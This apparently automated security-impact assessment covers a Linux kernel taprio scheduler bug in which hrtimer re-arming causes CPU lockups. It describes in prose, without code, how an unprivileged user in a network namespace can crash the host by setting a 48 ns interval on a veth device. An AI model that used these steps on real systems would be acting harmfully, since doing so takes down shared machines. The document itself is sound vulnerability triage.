						

**My Analysis of the `taprio` Scheduler Vulnerability**

Okay, the results are in, and I'm ready to articulate the reasoning behind my assessment. Here's how I see the problem. The issue resides within the `taprio` network scheduler (`net/sched/sch_taprio.c`), specifically within its use of the `hrtimer` subsystem. The scheduler relies on an `hrtimer` called `advance_timer` to drive its scheduling logic. The core problem lies in how the timer callback, `advance_sched()`, calculates and handles the next expiration time.

Essentially, `advance_sched()` determines the next scheduled event time by simply adding the schedule entry's `interval` to the current `end_time`. It then signals the `hrtimer` subsystem to re-enqueue the timer using `HRTIMER_RESTART`. The `hrtimer` subsystem then processes expired timers in a loop within `__hrtimer_run_queues()`. Critically, the current time (`basenow`) is captured *once* at the beginning of this loop.

This setup presents two distinct attack vectors, both leading to a Denial of Service. The first, and more easily reproducible via the syzkaller reproducer, leverages a **clock jump**. If the system clock (either `CLOCK_TAI` or `CLOCK_REALTIME`) is drastically advanced, say by years, the captured `basenow` becomes orders of magnitude larger than the `end_time` calculated by `advance_sched()`. Consequently, the loop in `__hrtimer_run_queues()` effectively executes `(basenow - end_time) / interval` times.  With a significant clock jump, this can result in billions of iterations, tying up the CPU for seconds and triggering an RCU stall. However, the catch is that manipulating the system clock requires `CAP_SYS_TIME`, which limits its immediate practical impact on a typical production environment.

The second vector is a more insidious **interrupt storm**.  An attacker can configure `taprio` with an extremely small `interval`.  The minimum allowed `interval` is dependent on the device's speed. For a 10 Gbps device like a `veth`, this minimum interval is as low as 48 nanoseconds.  If an attacker sets the `interval` to this minimum, `advance_sched()` advances `end_time` by just 48 ns with each call.  The problem is, the overhead of the interrupt handler itself likely takes longer than 48 ns to execute. This means `end_time` will *always* be in the past when the interrupt handler completes.  The hardware timer, therefore, fires again immediately. This creates a relentless cycle, a continuous interrupt storm that completely locks up the CPU.

What's particularly concerning about this second vector is its accessibility. An unprivileged user can trigger the interrupt storm if they can create a user namespace and a network namespace. Within that network namespace, they'll have `CAP_NET_ADMIN`, giving them the power to create a `veth` device and attach the `taprio` qdisc to it with the problematic 48 ns interval.

In summary, this is a Denial of Service vulnerability accessible from user namespaces. It's not a memory corruption bug, and therefore doesn't appear to be exploitable for privilege escalation.

map[Explanation:Based on the analysis of the bug report and the kernel source code, here is the
assessment of the security impact:

### Bug Mechanism
The bug is located in the `taprio` network scheduler (`net/sched/sch_taprio.c`).
The scheduler uses a high-resolution timer (`advance_timer`) to advance its
schedule. The timer callback function `advance_sched()` calculates the next
expiration time by adding the schedule entry's `interval` to the current
`end_time`, and then returns `HRTIMER_RESTART` to re-enqueue the timer.

The hrtimer subsystem processes expired timers in a loop within
`__hrtimer_run_queues()`. The current time (`basenow`) is captured once before
the loop. If a timer is restarted with an expiration time that is still less
than `basenow`, it will be picked up again in the same loop iteration.

This logic flaw allows for a Denial of Service (hard lockup / RCU stall) via two
main vectors:
1. **Clock Jump (Reproducer's method):** If the system clock is moved forward by
a large amount (e.g., using `clock_adjtime()`), `basenow` becomes much larger
than `end_time`. The loop in `__hrtimer_run_queues()` will execute `(basenow -
end_time) / interval` times. If the clock is moved forward by years, this loop
can take billions of iterations, stalling the CPU for seconds and triggering an
RCU stall. Modifying the system clock requires `CAP_SYS_TIME` in the init
namespace.
2. **Interrupt Storm (User Namespace method):** An attacker can configure
`taprio` with a very small `interval`. The minimum allowed `interval` is
calculated based on the network device's speed. For a 10 Gbps device like
`veth`, the minimum interval is 48 nanoseconds. If `interval` is set to 48 ns,
`advance_sched()` will advance `end_time` by 48 ns per iteration. Since
executing the interrupt handler takes longer than 48 ns, `end_time` will always
be in the past when the interrupt handler finishes. This causes the hardware
timer to fire immediately and continuously, resulting in an interrupt storm that
completely locks up the CPU.

### Security Dimensions
* **Exploitable:** **False**. The bug is a logic error resulting in an infinite
loop or interrupt storm. It does not cause memory corruption (like
use-after-free or out-of-bounds access) and cannot be exploited for privilege
escalation.
* **Denial Of Service:** **True**. The bug causes a hard lockup and RCU stalls,
completely freezing the affected CPU and leading to a system crash or panic.
* **Accessible From Unprivileged Processes:** **False**. Configuring network
qdiscs (like `taprio`) requires `CAP_NET_ADMIN` capabilities, which a standard
unprivileged process does not have.
* **Accessible From User Namespaces:** **True**. An unprivileged user can create
a new user namespace and network namespace. Within this sandbox, they obtain
`CAP_NET_ADMIN` over the namespace's network devices. They can then create a
`veth` pair (which defaults to 10 Gbps) and attach the `taprio` qdisc with a 48
ns interval, immediately triggering the interrupt storm and crashing the host
system.
* **VM Guest Trigger:** **True**. A user inside a VM can trigger this bug to
crash the guest kernel.
* **VM Host Trigger in The Confidential Computing Context:** **False**. This is
a bug in the network scheduler and does not involve host-guest interaction or
paravirtualized device escapes.
* **Ethernet Network Trigger:** **False**. The bug is triggered by configuring
the qdisc via netlink sockets, not by processing ingress network traffic.
* **Other Remote Trigger:** **False**.
* **Peripheral Trigger:** **False**.
* **Malicious Filesystem Trigger:** **False**.]